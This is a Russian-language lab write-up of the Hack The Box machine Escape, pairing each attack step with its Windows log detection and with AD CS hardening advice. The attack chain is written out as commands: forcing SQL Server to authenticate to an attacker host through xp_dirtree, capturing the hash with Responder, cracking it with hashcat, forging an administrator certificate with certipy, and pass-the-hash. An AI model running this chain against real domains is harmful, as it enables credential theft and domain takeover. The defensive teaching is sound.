Перейти к содержимому

HTB Escape PetitPotam прохождение: каждый шаг атаки и его детект в логах Windows

HTB Escape PetitPotam прохождение: каждый шаг атаки и его детект в логах Windows
Время чтения: 13 мин.

CVE-2021-36942 — PetitPotam — эксплуатируется в реальных атаках с августа 2021 года (первый зафиксированный случай — 2021-08-23, по данным inthewild.io). CVSS 7.5 (HIGH), входит в каталог CISA KEV (список уязвимостей, которые УЖЕ используются злоумышленниками), связана с ransomware-кампаниями и занимает top 1% по шкале EPSS (Exploit Prediction Scoring System — вероятность эксплуатации в ближайшие 30 дней: 0.66 из 1.0). Машина HTB Escape на Hack The Box моделирует цепочку из того же класса: гостевой SMB-доступ → NTLM-coercion через MSSQL → перехват хеша → захват домена через AD CS. Каждый существующий writeup по этой машине заканчивается на root.txt — ни одного Event ID, ни одной мысли о том, как эту цепочку ловить. Здесь я разбираю каждый шаг параллельно: что делает атакующий и что в это время видит SOC-аналитик в логах Windows.

Уязвимость PetitPotam и NTLM relay атака: зачем это нужно злоумышленнику

Перед тем как открывать терминал — разберёмся, зачем атакующий всё это делает и почему цепочка работает.

PetitPotam эксплуатирует протокол MS-EFSRPC (Encrypting File System Remote Protocol — удалённый вызов процедур шифрованной файловой системы Windows). Атакующий отправляет специально сформированный запрос на контроллер домена, и тот самостоятельно подключается к машине атакующего, передавая свои аутентификационные данные NTLM. Аналогия: вы звоните в банк, представляетесь сотрудником поддержки и просите перезвонить на ваш номер с корпоративного телефона — а банк послушно перезванивает и представляется. Именно это делает PetitPotam.

В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1187 — её идентификаторы) приём называется Forced Authentication (T1187, тактика Credential Access). PetitPotam — самый известный вариант, но не единственный. Есть PrinterBug (через MS-RPRN), DFSCoerce (через MS-DFSNM) и xp_dirtree через MSSQL. Все делают одно: заставляют Windows-сервис подключиться к хосту атакующего и отправить NTLM-аутентификацию. На HTB Escape используется xp_dirtree — тот же класс атаки, тот же принцип, тот же результат.

Перехваченную аутентификацию можно использовать двумя путями. Первый — взломать хеш: извлечь пароль из NTLMv2 challenge/response через hashcat или john (так работает Escape). Второй — relay: перенаправить аутентификацию на другой сервис, который примет её как свою. Когда целью relay становится AD CS (Active Directory Certificate Services — служба сертификатов, встроенная PKI-инфраструктура Active Directory), атакующий получает сертификат контроллера домена. Дальше — запрос TGT (Ticket Granting Ticket — билет Kerberos для доступа к любым ресурсам домена), DCSync (T1003.006 — выгрузка хешей всех пользователей из базы NTDS), полный контроль.

Почему это критично. CVSS 7.5 (HIGH). Разбор вектора: AV:N — атака по сети, AC:L — низкая сложность, PR:N — привилегии не нужны, UI:N — участие пользователя не требуется. По методологии SSVC (Stakeholder-Specific Vulnerability Categorization) CISA-ADP присвоила решение Act — патчить немедленно. Автоматизируема, техническое воздействие — total. По данным Microsoft (KB5005413), организации уязвимы, если используют AD CS с включёнными службами Certificate Authority Web Enrollment или Certificate Enrollment Web Service — а они включены по умолчанию.

По данным Verizon DBIR 2025, 38% утечек данных связаны с кражей учётных данных. PetitPotam и родственные coercion-техники — один из самых быстрых способов получить эти данные в Windows-среде.

HTB Escape writeup: разведка и первый доступ

Что видит атакующий

Машина Escape (10.10.11.202) — контроллер домена Windows Server 2019 в домене sequel.htb. Сканирование через nmap -p- --min-rate 10000 выявляет характерный набор открытых портов: DNS (53), Kerberos (88), LDAP (389), SMB (445), MSSQL (1433), WinRM (5985). Комбинация DNS + Kerberos + LDAP на одном хосте — практически гарантия, что перед нами контроллер домена. Запомни эту связку — она встречается постоянно.

Детальный скан nmap -sCV раскрывает домен sequel.htb и имя хоста dc.sequel.htb. TLS-сертификат на порту 636 подписан центром сертификации sequel-DC-CA — немедленная подсказка: в домене развёрнут AD CS. Для работы с Kerberos нужно синхронизировать часы с DC — на Escape разница составляет около 8 часов.

Записываем в /etc/hosts: 10.10.11.202 dc.sequel.htb sequel.htb dc.

SMB доступен с гостевой аутентификацией. Команда nxc smb 10.10.11.202 -u guest -p '' показывает, что любое имя пользователя с пустым паролем принимается. Через --shares видно шару Public с правами READ. На ней лежит один файл — «SQL Server Procedures.pdf». Внутри PDF — учётные данные для подключения к MSSQL: пользователь PublicUser с паролем.

Через --rid-brute можно перечислить доменных пользователей: Tom.Henn, Brandon.Brown, Ryan.Cooper, sql_svc, James.Roberts, Nicole.Thompson. Эта информация пригодится для lateral movement.

Что видит SOC

На контроллере домена в логе Security появляется Event ID 4624 (An account was successfully logged on) с типом входа 3 (Network) и именем учётной записи Guest или произвольной строкой. Далее — Event 5140 (A network share object was accessed) при обращении к шаре Public.

Гостевой доступ к файловой шаре на контроллере домена — сам по себе аномалия, если он не предусмотрен политикой. Нормальная инфраструктура не держит шары с документацией на DC. Правило детекции: алерт на Event 4624 Type 3 с гостевой или анонимной учёткой на контроллерах домена. Перечисление RID через SMB генерирует серию Event 4625 (Failed Logon) — массовые неудачные попытки входа с одного IP.

NTLM relay атака через MSSQL: принудительная аутентификация

Coercion через xp_dirtree

Получив доступ к MSSQL как PublicUser, атакующий обнаруживает, что xp_cmdshell (выполнение системных команд) отключена — прямого RCE нет. Зато есть xp_dirtree — встроенная процедура SQL Server, которая обращается к указанной UNC-шаре (сетевому пути вида \\IP\share). Вызов xp_dirtree '\\ATTACKER_IP\share' заставляет SQL Server подключиться к машине атакующего и отправить NTLMv2 challenge/response от имени сервисной учётной записи, под которой работает MSSQL — в нашем случае sql_svc.

На стороне атакующего должен быть запущен Responder — инструмент, который имитирует SMB-сервер и перехватывает NTLM-аутентификацию. Предпосылки: Kali Linux (или аналог) с установленным Responder (sudo apt install responder) и сетевой доступ до MSSQL-порта целевой машины.

# Терминал 1: запускаем Responder на VPN-интерфейсе
sudo responder -I tun0

# Терминал 2: coercion — заставляем MSSQL обратиться к нам
nxc mssql 10.10.11.202 -u PublicUser -p 'пароль' \
  --local-auth -M mssql_coerce -o LISTENER=ATTACKER_IP

Ожидаемый результат в окне Responder: строка [SMB] NTLMv2-SSP Username : sequel\sql_svc и полный хеш. Если строки нет — проверь, что Responder слушает на правильном интерфейсе (tun0 для HTB VPN) и что firewall не блокирует входящий SMB (TCP 445).

Перехваченный NTLMv2-хеш взламывается через hashcat -m 5600 hash.txt /путь/к/словарю. Режим 5600 — NTLMv2. Пароль sql_svc несложный и находится в стандартных словарях за секунды. Результат — полноценные доменные учётные данные: sequel\sql_svc. С ними атакующий подключается по WinRM: evil-winrm -i 10.10.11.202 -u sql_svc -p 'пароль'.

Что видит SOC при NTLM-coercion

Этот шаг генерирует два ключевых сигнала.

На уровне хоста: Event 4624 Type 3 на MSSQL-сервере, где сервисная учётка sql_svc инициирует сетевой вход, но целевой IP — не доменный ресурс, а адрес из VPN-пула атакующего. Сервисные учётки SQL Server не должны инициировать исходящие SMB-подключения к произвольным хостам.

На сетевом уровне: SMB-трафик (TCP 445) от контроллера домена к IP, который не является членом домена. Любой IDS/NTA (Network Traffic Analysis — анализ сетевого трафика) с правилом на исходящий SMB от DC поймает это сразу. В NIST CSF 2.0 это DE.AE-01 — мониторинг отклонений от базовой линии сетевых операций.

MITRE-маппинг: T1187 (Forced Authentication) на этапе coercion → T1557.001 (Name Resolution Poisoning and SMB Relay) на этапе перехвата.

Lateral movement: пароли в логах ошибок SQL Server

С учёткой sql_svc атакующий попадает на машину через WinRM (Windows Remote Management — протокол удалённого управления, порт 5985). В директории C:\SQLServer\Logs\ лежит файл ERRORLOG.BAK — лог ошибок SQL Server. Внутри — строка, где пользователь Ryan.Cooper пытался подключиться к MSSQL, случайно указав пароль вместо имени учётной записи. SQL Server записал неудачную попытку в лог, сохранив введённый «логин» (а на самом деле — пароль) открытым текстом.

Это не уязвимость софта — это типичная ошибка конфигурации и человеческий фактор. Но в реальных инфраструктурах такое встречается регулярно: пароли в логах приложений, скриптах миграции, конфигурационных файлах, переменных окружения. По данным IBM X-Force, рост атак с использованием действительных учётных данных составил +71% в 2024 году. Часто эти данные берутся из подобных источников. Мораль: после получения шелла всегда проверяй логи — это одно из первых мест, где могут лежать чужие креды.

С паролем Ryan.Cooper атакующий открывает новую WinRM-сессию. Ryan.Cooper — обычный доменный пользователь, но у него есть права на enrollment в AD CS.

SOC-аналитик видит два Event 4624 Type 3 подряд: сначала sql_svc, затем Ryan.Cooper, оба с одного и того же IP атакующего. Сервисная учётка, подключающаяся интерактивно через WinRM — первый красный флаг. Два разных пользователя с одного IP за короткий промежуток — второй.

AD CS уязвимости: ESC1 и ESC8 на пути к администратору домена

Чем ESC1 отличается от ESC8

AD CS — PKI-инфраструктура Active Directory, которая выдаёт сертификаты для аутентификации пользователей, машин и сервисов. Уязвимости AD CS классифицированы в исследовании SpecterOps «Certified Pre-Owned» под кодами ESC1–ESC8. На Escape используется ESC1, но в контексте PetitPotam чаще обсуждается ESC8. Разберём оба.

ESC8 — проблема HTTP-эндпоинта Web Enrollment. Если на сервере AD CS включена служба Certificate Authority Web Enrollment и не настроен EPA (Extended Protection for Authentication — механизм защиты от relay-атак), атакующий перенаправляет перехваченную NTLM-аутентификацию на этот эндпоинт и получает сертификат. Связка PetitPotam + ESC8 — та самая «смертельная комбинация», о которой Microsoft предупреждает в KB5005413. По данным Rapid7, при тестировании в 2021 году контроллеры домена с AD CS были эксплуатируемы без аутентификации «из коробки» — в дефолтной конфигурации.

ESC1 — проблема шаблона сертификата. Шаблон разрешает запрашивающему указать произвольный Subject Alternative Name (SAN) — «выписать сертификат на чужое имя». Если при этом шаблон доступен для enrollment обычному пользователю и имеет EKU (Extended Key Usage) для клиентской аутентификации — любой доменный пользователь может получить сертификат от имени администратора. Без брутфорса, без эксплойтов — через легитимный механизм PKI.

На HTB Escape уязвим один из шаблонов: он позволяет Ryan.Cooper запросить сертификат с SAN равным administrator@sequel.htb. Это эскалация привилегий Windows Server через сертификат.

Эксплуатация ESC1 через certipy

Certipy — Python-утилита для аудита и эксплуатации AD CS. Предпосылки: Python 3, установленный certipy-ad (pip install certipy-ad), сетевой доступ до контроллера домена.

# Шаг 1: поиск уязвимых шаблонов
certipy find -u Ryan.Cooper -p 'пароль' -dc-ip 10.10.11.202
# Результат: JSON-файл с отмеченными шаблонами (ESC1 помечен)

# Шаг 2: запрос сертификата с подменённым SAN
certipy req -u Ryan.Cooper -p 'пароль' -ca sequel-DC-CA \
  -template имя_шаблона -upn administrator@sequel.htb -dc-ip 10.10.11.202
# Результат: файл administrator.pfx

# Шаг 3: аутентификация по сертификату
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.202
# Результат: NT-хеш учётной записи Administrator

После получения NT-хеша атакующий подключается по WinRM через Pass the Hash (T1550.002 — техника lateral movement, при которой вместо пароля используется его хеш): evil-winrm -i 10.10.11.202 -u administrator -H 'хеш'. Домен захвачен.

Что видит SOC при атаке на Active Directory Certificate Services

На сервере AD CS (на Escape это тот же DC) генерируются специфические события.

Event 4886 (Certificate Services received a certificate request) — запрос сертификата от Ryan.Cooper по шаблону с флагом ENROLLEE_SUPPLIES_SUBJECT. Event 4887 (Certificate Services approved a certificate request and issued a certificate) — сертификат выдан. Ключевой индикатор: в поле Subject запрошенного сертификата указан SAN, отличающийся от учётной записи запрашивающего. Ryan.Cooper запрашивает сертификат на administrator@sequel.htb — аномалия, которая должна вызывать немедленный алерт.

После аутентификации по сертификату появляется Event 4768 (A Kerberos authentication ticket (TGT) was requested) с типом pre-auth certificate-based и именем учётной записи Administrator, но с IP атакующего. Третий сигнал: TGT для администратора с нетипичного источника.

Мониторинг Windows Event Log: сводная таблица детекции

Полная карта событий Windows, соответствующих каждому шагу атаки на HTB Escape. Эту таблицу можно использовать как шаблон для построения корреляционных правил в SIEM (Security Information and Event Management — система сбора и корреляции логов безопасности).

Шаг атаки Event ID Индикатор MITRE ATT\&CK
Гостевой SMB-доступ 4624 Type 3 Guest/пустой пароль на DC T1078.002
RID brute-force 4625 (серия) Массовые неудачные входы с одного IP T1078.002
Coercion xp_dirtree 4624 Type 3 Исходящий SMB от SQL к внешнему IP T1187
Перехват NTLMv2 Сетевой трафик SMB к IP вне домена T1557.001
WinRM (sql_svc) 4624 Type 3 Интерактивная сессия сервисной учётки T1021.002
WinRM (Ryan.Cooper) 4624 Type 3 Второй пользователь с того же IP T1078.002
Запрос сертификата ESC1 4886 SAN отличается от запрашивающего
Выдача сертификата 4887 Шаблон с ENROLLEE_SUPPLIES_SUBJECT
TGT по сертификату 4768 Cert-based pre-auth для admin
Pass the Hash 4624 Type 3 NTLM-auth admin с нетипичного IP T1550.002

Корреляционное правило: если Event 4886 с шаблоном, у которого включён ENROLLEE_SUPPLIES_SUBJECT, появляется в пределах 10 минут после Event 4624 Type 3 от того же пользователя — эскалация привилегий через AD CS с высокой вероятностью.

Детектирование атак на домен: рекомендации по защите

Что мониторить для SIEM обнаружения NTLM relay

Детектирование атак через NTLM relay и AD CS требует видимости на нескольких уровнях.

Сетевой уровень. Исходящие SMB-соединения (TCP 445) от контроллеров домена и SQL-серверов к IP вне доменного периметра. В нормальной работе контроллер домена не инициирует SMB-подключения к произвольным хостам. Это одно из самых надёжных правил: false positive rate близок к нулю.

Уровень аутентификации. Event 4624 Type 3 с NTLM-аутентификацией (а не Kerberos) между серверами домена. В правильно настроенной среде межсерверная аутентификация идёт через Kerberos. NTLM между DC и другим сервером — аномалия. По данным CrowdStrike Global Threat Report, среднее время lateral movement после первоначального доступа — 62 минуты. Если правила детекции не срабатывают на первых шагах цепочки, шанс перехватить атаку до DCSync минимален.

Уровень сертификатов. Events 4886/4887 с шаблонами, у которых включён флаг CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT. Любой такой запрос от не-администратора — потенциальная ESC1-атака. Если шаблон одновременно имеет EKU Client Authentication и доступен обычным пользователям — это misconfiguration уровня OWASP A05:2021 (Security Misconfiguration).

Что делать для защиты

Рекомендации Microsoft из KB5005413:

Включить EPA на серверах AD CS — основная защита от NTLM relay на Certificate Authority Web Enrollment. Без EPA relay-атака через ESC8 работает в дефолтной конфигурации. В IIS Manager: установить Extended Protection на Required для виртуальных каталогов certsrv.

Включить Require SSL на IIS-эндпоинтах AD CS. Без SSL даже EPA неэффективна — Microsoft подчёркивает это отдельно.

Отключить NTLM-аутентификацию на серверах AD CS через групповую политику: Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → Network security: Restrict NTLM: Incoming NTLM traffic → Deny All.

Аудит шаблонов сертификатов. Удалить флаг ENROLLEE_SUPPLIES_SUBJECT из всех шаблонов, где он не требуется. Ограничить enrollment permissions — обычные пользователи не должны иметь доступ к шаблонам с Client Authentication EKU и возможностью подмены SAN.

Применить патч CVE-2021-36942. Он блокирует неаутентифицированные вызовы PetitPotam через LSARPC. Но патч не закрывает аутентифицированный вариант: по данным CrowdStrike/CSA, любой доменный пользователь с валидными учётными данными по-прежнему может использовать PetitPotam. А на HTB Escape доменные учётные данные получаются на втором шаге.

Каждый writeup по HTB Escape в русскоязычном сегменте заканчивается на root.txt. Шаги атаки расписаны, флаг получен, статья закрыта. Ни одного Event ID, ни одной мысли о стороне защиты. И дело не в лени авторов — дело в подходе. Пентест без понимания детекции — половина работы. Атакующий, который не знает, как его действия выглядят в SIEM, не может оценить реальный риск. SOC-аналитик, который не видит цепочку атаки целиком, не напишет правило корреляции — будет ждать, пока вендор выпустит готовый контент. Цепочка coercion → AD CS → DCSync ломает домен быстрее, чем успевает среагировать L1-аналитик. Рекорд lateral movement по данным CrowdStrike Global Threat Report 2025 — 51 секунда. Если правила детекции не настроены на Event 4886 с подозрительным шаблоном, реагировать будет нечем. Будущее за теми, кто одинаково свободно читает вывод certipy и Event 4887 в Splunk. Не «красные» или «синие» — а те, кто видит всю цепочку. Если хочешь выстроить этот навык системно, а не собирать по кусочкам из writeup’ов — на codeby.school есть IB Basics, где дают базу для движения в обе стороны без предварительных требований.

Эту тему и смежные навыки разбирают на практике в курсе «Аналитик SOC» Codeby Academy.